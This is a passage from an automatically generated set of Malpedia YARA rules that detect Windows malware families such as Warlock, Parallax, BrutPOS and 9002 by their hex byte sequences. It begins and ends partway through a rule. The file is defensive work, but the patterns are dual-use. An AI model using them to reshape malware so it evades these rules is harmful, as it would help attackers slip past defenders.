		license_url = "N/A"
		logic_hash = "4a43ad552d1d544452880d565c27a595efcac7dc1e5e985992d3dce7571f7838"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4610 c6040808 ff4610 8b4610 c6040100 e9???????? 8b4610 }
		$sequence_1 = { eb18 2bf9 8d145501000000 2bc1 8bcb c1e905 2bd9 }
		$sequence_2 = { 53 e8???????? 83c41c 85c0 0f8543050000 8b4320 8d55f0 }
		$sequence_3 = { 68???????? ff15???????? 898530fdffff 85c0 0f8441010000 68???????? 8d8d6cfdffff }
		$sequence_4 = { 56 8bf1 8d4de8 57 8bfa e8???????? 83781408 }
		$sequence_5 = { 0fafce 3bc1 731b 8bf9 b900080000 2bce c1e905 }
		$sequence_6 = { e8???????? c7465400000000 8bc6 8b4df4 64890d00000000 59 5e }
		$sequence_7 = { c7856cfdffff07000000 66898558fdffff 8b8554fdffff c78568fdffff00000000 83f808 7213 40 }
		$sequence_8 = { 8bf9 c745f82e000000 e8???????? 40 8bcf 50 8d45f8 }
		$sequence_9 = { 8b8d40efffff 85c9 7414 8b11 8d851cefffff 3bc8 0f95c0 }
	condition:
		7 of them and filesize < 1220608
}

rule MALPEDIA_Win_Tabmsgsql_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "613cbea2-b3e6-59ad-af97-1c16f24a8ca2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tabmsgsql"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tabmsgsql_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "fea9841dfc3e899e511f6e59152b7eb3a1bf8ea0929e01fae7a33a41386cf162"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c404 ff15???????? 5e 33c0 5b 81c404d00700 }
		$sequence_1 = { e9???????? 8b0d???????? 3bcb 0f8463feffff a1???????? 3bc3 0f8456feffff }
		$sequence_2 = { 6a01 8bcb ff15???????? eb45 8b430c 83f81f 7704 }
		$sequence_3 = { 83c9ff 33c0 8d951217fcff f2ae f7d1 2bf9 50 }
		$sequence_4 = { 8b842430f50100 83c424 85c0 5f }
		$sequence_5 = { 51 b9???????? 895dfc a2???????? e8???????? 3bc3 0f84d7000000 }
		$sequence_6 = { f3a5 8bc8 33c0 83e103 f3a4 8bbc2438060000 83c9ff }
		$sequence_7 = { 5b 83e103 b801000000 f3a4 }
		$sequence_8 = { 3de8030000 a3???????? 7d0c c705????????e8030000 }
		$sequence_9 = { 33c0 68???????? f2ae f7d1 2bf9 8d442434 8bd1 }
	condition:
		7 of them and filesize < 163840
}

rule MALPEDIA_Win_Warlock_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5e6c43cf-6cf3-5e2a-a16b-cb7d8e2e37a1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.warlock"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.warlock_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "39dc3d0e9802161f2f6843f6a22ec4febcc1ed616080a524da3e5c547a9f1dac"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b95c0f6ffff f724ba 0385ccf6ffff 83d200 01841dc0f8ffff 8b9de0f6ffff 8b85bcf8ffff }
		$sequence_1 = { 894c2420 c16c242008 331cc574e44900 0fb6c1 8b4c2410 0fb6c9 8b04c571e44900 }
		$sequence_2 = { 03c2 8bd0 c1e81a 2b442448 81e2ffffff03 89542430 89542444 }
		$sequence_3 = { c70000000000 c7400800000000 c9 c20400 56 8bf1 8b8e80000000 }
		$sequence_4 = { 6a34 e8???????? 8945e8 59 85c0 740d 57 }
		$sequence_5 = { 50 8d4de8 c745fc04000000 e8???????? eb0a 6a01 8d4de8 }
		$sequence_6 = { 80fb35 7e82 33c0 84db 0f95c0 05feff0000 e9???????? }
		$sequence_7 = { 8b94249c000000 81c2feffff07 03c2 8bd0 c1e81a 81e2ffffff03 2b442458 }
		$sequence_8 = { 0f94c1 2500180000 2d00100000 f7d8 1bc0 40 f7c300800000 }
		$sequence_9 = { 668b4306 663b45e4 7513 c6062d 8d7e01 8bcb 89bd70ffffff }
	condition:
		7 of them and filesize < 1395712
}

rule MALPEDIA_Win_Ghole_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "42011619-6775-5fd7-9f1a-e781b1936bb7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghole_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "0d47b012ca3e41e041f7c9334a8bf5ea912b5069ddcb6bf59ee419c3c1cf9dc4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48 89c7 e8???????? c745cc00000000 c745b800000000 eb14 c78540ffffffe9030000 }
		$sequence_1 = { 8878e0 49 8be9 45 8be0 44 8bea }
		$sequence_2 = { 89f8 f7d0 89d9 21c1 48 8b45d0 48 }
		$sequence_3 = { 83ec30 48 897dd8 48 8975d0 48 8b45d0 }
		$sequence_4 = { 7509 83bdecf6ffffff 7448 8b855cffffff 80cc01 89855cffffff }
		$sequence_5 = { 48 8b4040 48 8945f0 48 8b45f0 48 }
		$sequence_6 = { 8b5010 8b45f8 0345fc 89c0 48 01c2 48 }
		$sequence_7 = { 8b4008 8b55e4 48 8b4de8 48 89ce 48 }
		$sequence_8 = { 48 89c7 e8???????? 85c0 7515 8b55f8 48 }
		$sequence_9 = { 48 8b1d???????? 48 8b55a0 48 8b45c0 48 }
	condition:
		7 of them and filesize < 622592
}

rule MALPEDIA_Win_Acehash_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4f90b1a7-3252-5dd5-ab44-388a3ba534d1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acehash"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acehash_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "80439bed405e426456759fe4e19027929c158eaf7c7e4df93a3fc94b4a640c7d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f8455010000 0fb61438 440fb607 458be5 8bc2 418bf0 83e23f }
		$sequence_1 = { 8d048504000000 4863d0 e8???????? 488bd8 4885c0 0f849d010000 }
		$sequence_2 = { 83fa08 7410 b803000000 488b5c2430 4883c420 5f c3 }
		$sequence_3 = { 33d2 f77304 8bfa 4c89642450 85ff 0f84f0000000 4533e4 }
		$sequence_4 = { 4403848ea0dd0300 8b4b70 44338486a0e10300 8b4330 4533d0 458d0c02 41d3c1 }
		$sequence_5 = { 4889742448 48897c2418 0fb6790c 41c1e208 440bd0 0fb64105 c1e708 }
		$sequence_6 = { 488d0de8030300 4883c204 48c1fa02 482bd3 e8???????? 448b4608 488bd6 }
		$sequence_7 = { e8???????? b9002a0b00 e8???????? 488bf8 4c8bc0 488d1586a80500 488bca }
		$sequence_8 = { 4133bc8f709d0400 c1e818 0fb6c8 410fb6c0 4133bc8f70950400 4133bc8770a50400 418bc0 }
		$sequence_9 = { 438b8cb9a0f10300 41338cb9a0ed0300 41338cb1a0e50300 41338c81a0f10300 33ca 334daf 8bc1 }
	condition:
		7 of them and filesize < 2318336
}

rule MALPEDIA_Win_Hopscotch_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e03bc4c7-2cba-5076-a6ca-4697985738a4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hopscotch"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hopscotch_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "9400f209885075e787eb0bd6132b5f0672b265a98357e610aebd52f7df050985"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d0480 8d0480 c1e002 50 ffd7 }
		$sequence_1 = { 55 ffd3 8bf0 85f6 0f8569ffffff 68???????? e8???????? }
		$sequence_2 = { a1???????? 83c420 85c0 5f 5e 5b }
		$sequence_3 = { 6800800000 8b0d???????? 8b5150 52 ffd6 53 }
		$sequence_4 = { 85c0 5f 5e 5b 7414 }
		$sequence_5 = { 83c724 3bf0 72d8 eb2a 8b942430020000 8b4c2410 }
		$sequence_6 = { c3 81ec08020000 8d442400 56 8d4c2408 }
		$sequence_7 = { 6a21 50 e8???????? 83c408 c78424a400000002000000 8db42428010000 }
		$sequence_8 = { 833d????????01 750d 8b442404 50 e8???????? 83c404 }
		$sequence_9 = { 8b3d???????? 83c408 8d442408 50 ffd7 }
	condition:
		7 of them and filesize < 1143808
}

rule MALPEDIA_Win_Catchamas_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8b847b40-e879-5e63-94f7-59f1fcf23399"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.catchamas"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.catchamas_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "cfbaa74a75beb0fd45948dc9b52c0976cafb521d914a50e8e394b7e70fd341de"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 84c9 75f1 833d????????ff 740c 8db42470100000 }
		$sequence_1 = { 40 e8???????? 85db 7411 }
		$sequence_2 = { 8bf1 897c2418 c644241c00 e8???????? 68???????? }
		$sequence_3 = { 83d200 8955d0 7554 83f8ff }
		$sequence_4 = { 6a14 81e300800000 ffd7 83e001 33c9 8bff baba000000 }
		$sequence_5 = { ff15???????? 56 8be8 55 53 }
		$sequence_6 = { 6a00 52 c745dc00000000 e8???????? 8b45dc 6a00 8d4de8 }
		$sequence_7 = { 8b45e0 7409 e8???????? 8bfc eb32 83c9ff }
		$sequence_8 = { 66894e14 5e 8b8c2404080000 33cc e8???????? }
		$sequence_9 = { e8???????? 682000cc00 53 53 56 57 55 }
	condition:
		7 of them and filesize < 368640
}

rule MALPEDIA_Win_Racket_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f3a5d01f-f04e-5cab-9782-744a7bfd597c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.racket"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.racket_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "60433cbd73972642cf68f927363d7c0cddb01db6fa6acbb68279911c92eddf9a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 837e2400 750a c6460c00 8b35???????? 68???????? 57 ffd3 }
		$sequence_1 = { c1e803 2401 837b0400 884303 751b 6a00 6a00 }
		$sequence_2 = { 6a00 c706???????? 897e08 6a00 c7460c00000000 c7461000000000 6861080000 }
		$sequence_3 = { 8945f0 56 50 8d45f4 64a300000000 8b4510 85c0 }
		$sequence_4 = { 8987e4fdffff 8b86e0fdffff 8987e8fdffff 8b86e4fdffff 8987ecfdffff 8b86e8fdffff 8987f0fdffff }
		$sequence_5 = { 57 53 56 8d4a1c e8???????? 5f 5b }
		$sequence_6 = { 895dd0 8b7508 33ff 897dcc 8975bc 3b750c 0f8ddd070000 }
		$sequence_7 = { 894dfc 394db8 0f8c37050000 8b5514 be01000000 2bd0 894df4 }
		$sequence_8 = { f7c700000002 7446 8b0a 3b4a04 752a 837a1000 7517 }
		$sequence_9 = { ffb548ffffff 0f57c0 c745ac00000000 8d4da4 660fd645a4 e8???????? }
	condition:
		7 of them and filesize < 985088
}

rule MALPEDIA_Win_Brutpos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bb6abccd-59b3-5a30-9e67-ccbe498737a5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brutpos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.brutpos_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "89d0bc6a7e52ba9f63dface96ebbf483b03be0cbf8144ed32f3b88bf360b4eda"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 59 58 83c004 83e904 8808 }
		$sequence_1 = { 03c2 034508 2938 83e902 75e8 ebd9 5e }
		$sequence_2 = { 8d5b18 8b5b60 03d8 52 8b35???????? }
		$sequence_3 = { 6681f9df77 7412 0f31 8bd8 }
		$sequence_4 = { 8bd0 ad 8bc8 83e908 66ad 6685c0 740c }
		$sequence_5 = { 8d7c38fc baffffffff 83c704 57 }
		$sequence_6 = { 66ad 6685c0 740c 25ff0f0000 03c2 034508 }
		$sequence_7 = { 52 e8???????? 59 8b09 8bd1 }
		$sequence_8 = { c1e202 03d3 8b12 03d0 }
		$sequence_9 = { 8b5508 8b4204 0fb70a 50 51 807401ff97 }
	condition:
		7 of them and filesize < 65536
}

rule MALPEDIA_Win_Icefog_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5a2327d1-90cc-5721-943f-064b1c43e2e0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icefog_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "ccfebce12d112e2d237d6de3048b8cc676f213fd05f617884709a0f4f9ea859a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 895de0 c745e400ff0000 e9???????? 8b5e04 c1e310 895de0 c745e40000ff00 }
		$sequence_1 = { e8???????? 8b759c 53 c60300 e8???????? 8b45b4 83c404 }
		$sequence_2 = { 8b4d0c 50 51 e8???????? 83c408 8bf0 5e }
		$sequence_3 = { c6470300 8b7d08 75a0 8b5d0c 8b45f4 015f0c 5f }
		$sequence_4 = { b807000000 5b 8be5 5d c3 8945fc 394604 }
		$sequence_5 = { 8b4dfc 50 51 e8???????? 56 8947f6 e8???????? }
		$sequence_6 = { c3 56 57 e8???????? 83c408 894590 85c0 }
		$sequence_7 = { dd8570feffff dec3 d9ca dd9560feffff d8d1 dfe0 ddd9 }
		$sequence_8 = { a1???????? 891490 8b0d???????? 42 3bd1 7ced a1???????? }
		$sequence_9 = { 8b4508 85c0 7416 56 8b7010 50 e8???????? }
	condition:
		7 of them and filesize < 1187840
}

rule MALPEDIA_Win_Mole_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "95af4ae3-464a-5d8e-afd4-0a11f6d0106b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mole"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mole_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "8a4687261d47d17fe0f3216955f42cc9f1da6596391fc3e1935f901a9405d6fa"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 81bdf0fdffffc7a4d005 0f846a6a0000 81bdf0fdffffcba4d005 0f8478790000 e9???????? 81bdf0fdffffd0a6d005 }
		$sequence_1 = { 8d85f0ebffff 03c1 8b8d14e5ffff 50 8b8530e5ffff 8b048578f64100 }
		$sequence_2 = { ff15???????? c745f800000000 c745fc00000000 6a00 6a18 68???????? }
		$sequence_3 = { 52 ff15???????? 83c41c 6a01 8d85ecf0ffff 50 }
		$sequence_4 = { 0f873b5a0000 8b8df0fdffff 0fb69130cd4000 ff249518cd4000 8b85f0fdffff }
		$sequence_5 = { 898570faffff 83bd70faffffff 7431 6a00 8d8d44faffff 51 8b955cfaffff }
		$sequence_6 = { 83bde8feffff02 750c c785dcfeffff07000000 eb46 83bde4feffff06 7515 83bde8feffff03 }
		$sequence_7 = { 0fb6822cb64000 ff24850cb64000 81bdf0fdffff596ad005 7746 81bdf0fdffff596ad005 0f848d5a0000 }
		$sequence_8 = { 7d0d 8a441918 888168c44100 41 ebe8 }
		$sequence_9 = { 0f8473590000 e9???????? 81bdf0fdffffc360d305 7725 81bdf0fdffffc360d305 }
	condition:
		7 of them and filesize < 297984
}

rule MALPEDIA_Win_Naplistener_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a3d7d9df-de3a-516e-b81c-c3cfa9ffc96f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.naplistener_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "2510a61e053aa5f210d742699c248976270de6ea89c8a2ddd06d921dbbb47612"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 18 8d01000001 1316 1116 16 110a }
		$sequence_1 = { 38bbfdffff 1314 00 7251010070 }
		$sequence_2 = { 7285000070 0c 06 6f0e00000a }
		$sequence_3 = { 110c 110b 1110 6f2600000a }
		$sequence_4 = { 6f2600000a 00 1106 6f2700000a 732800000a 1311 1111 }
		$sequence_5 = { 00 de3a 00 1107 14 fe01 }
		$sequence_6 = { 6f2700000a 1307 1107 09 16 09 8e }
		$sequence_7 = { 110e 1110 18 8d01000001 }
		$sequence_8 = { 281900000a 1109 6f1a00000a 130a 7283000070 1105 6f1b00000a }
		$sequence_9 = { 06 6f3b00000a 16 fe01 }
	condition:
		7 of them and filesize < 50176
}

rule MALPEDIA_Win_Parallax_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8bc5e4c5-7297-58f6-93c7-d7e053396899"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.parallax_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "048041cd9476ccea336d154c3ff8a8cb0591d12b8f4809a446240e8afe220643"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff96fc000000 6a04 68???????? 6a0a 68???????? e8???????? 6a04 }
		$sequence_1 = { 837d0801 7548 8d35f4ec4000 8d3d04f14000 b908020000 f3a4 6a04 }
		$sequence_2 = { ff7634 52 ff750c e8???????? 6a00 ff750c ff7508 }
		$sequence_3 = { 3d02800000 7510 ff7514 ff7510 e8???????? e9???????? 3d03800000 }
		$sequence_4 = { 5d c20c00 55 8bec 8b7d08 }
		$sequence_5 = { 5d c20800 e8???????? 5e 662bf6 8b15???????? 3315???????? }
		$sequence_6 = { 895f1c 8bc3 5f 5e 8be5 5d c20800 }
		$sequence_7 = { 89463c 68ff1f0000 e8???????? 8b563c }
		$sequence_8 = { ff751c 8f4614 ff7520 8f461c 5d c21c00 }
		$sequence_9 = { 8b4648 8945f4 ff75f8 ff75f0 ff75f4 e8???????? eb28 }
	condition:
		7 of them and filesize < 352256
}

rule MALPEDIA_Win_9002_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bbbd19a8-8d59-5fa3-924d-0a65e7bf4ff6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.9002"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.9002_auto.yar#L1-L337"
		license_url = "N/A"
		logic_hash = "b28ab37244f22455bfd7ab977eaff5de257e54ee69c7d856b3cc5dc49768b368"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 2d00040000 f7d8 1bc0 23c2 }
		$sequence_1 = { 68???????? ff15???????? 6a0a ff15???????? e9???????? }
		$sequence_2 = { 89bef8030000 ff15???????? 8986fc030000 ff15???????? 898600040000 }
		$sequence_3 = { 83c0fc 50 53 e8???????? }
		$sequence_4 = { 03c3 8b00 5b ffd0 }
		$sequence_5 = { 6a02 83c144 6800000040 51 }
		$sequence_6 = { 8bc1 33c9 894808 894810 8910 c7400c01000000 }
		$sequence_7 = { 57 8bf1 50 6801020000 c706???????? e8???????? 8d4604 }
		$sequence_8 = { 2bd0 3bfa 760d 85c0 7504 }
		$sequence_9 = { 6a02 ff15???????? 68???????? ff15???????? 6a00 6a00 6a00 }
		$sequence_10 = { 0ac8 80c910 880e 8ac2 }
		$sequence_11 = { 6a02 6a03 6a00 e8???????? }
		$sequence_12 = { 8b5c2408 6bdb08 03c3 8b00 }
		$sequence_13 = { 33c9 3bc8 1bd2 f7da 8915???????? }
		$sequence_14 = { 682c010000 50 ffd3 3d02010000 }
		$sequence_15 = { 51 e8???????? 6a06 6a01 6a02 e8???????? }
		$sequence_16 = { 8b08 51 e8???????? 8b5714 }
		$sequence_17 = { 8b460c 40 33d2 f77614 ff4610 }
		$sequence_18 = { e8???????? 50 e8???????? 6a08 e8???????? }
		$sequence_19 = { 46 c1ea06 8816 46 }
		$sequence_20 = { 56 89442418 ff15???????? a820 }
		$sequence_21 = { 8b01 ff5010 8b7614 ff4e0c }
		$sequence_22 = { c7422c00000200 8b4648 c7402801000000 8b4648 }
		$sequence_23 = { 742e 85f6 7419 0fb6da f683c1d4001004 7406 8816 }
		$sequence_24 = { 7622 8b4558 83f805 7316 8a0b }
		$sequence_25 = { 8b7c240c 57 8bf1 e8???????? 33d2 }
		$sequence_26 = { 894608 ff15???????? 8d4c2414 885c243c ff15???????? 8bc6 8b4c2434 }
		$sequence_27 = { 8b4648 689a000000 6a00 50 }
		$sequence_28 = { 8d4c240c 8d542418 6a05 8944241c 51 }
		$sequence_29 = { 8bf1 8b4610 57 33ff 897e08 }
		$sequence_30 = { 8bf8 6a40 6800100000 57 6a00 ff15???????? 8d4df8 }
		$sequence_31 = { c3 b8???????? c705????????772b0010 a3???????? }
		$sequence_32 = { ff15???????? 8bf8 85ff 7529 ff15???????? 8b560c 52 }
		$sequence_33 = { 8b5c247c 55 56 8bb4248c000000 57 8b3b 8b2e }
		$sequence_34 = { 52 ffd5 c7460c00000000 8b460c }
		$sequence_35 = { 6689bc5a80010000 83c30c 895c2424 e9???????? }
		$sequence_36 = { 8b4e04 83c108 33f6 668931 66897102 89510c }
		$sequence_37 = { ff15???????? 8bf8 6a40 6800100000 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Smac_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "aa200520-854b-5bad-b989-05c108d9a8dd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smac"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.smac_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "048e342bef93bb6d74cc2ec6d93a75375cb38005feab23ff54823997fa4e630f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 59 59 8bd8 8d8514f1ffff c645fc16 e8???????? 6a01 }
		$sequence_1 = { ffd6 8d45e0 50 ff35???????? c745e04d6f7665 c745e446696c65 c745e845785700 }
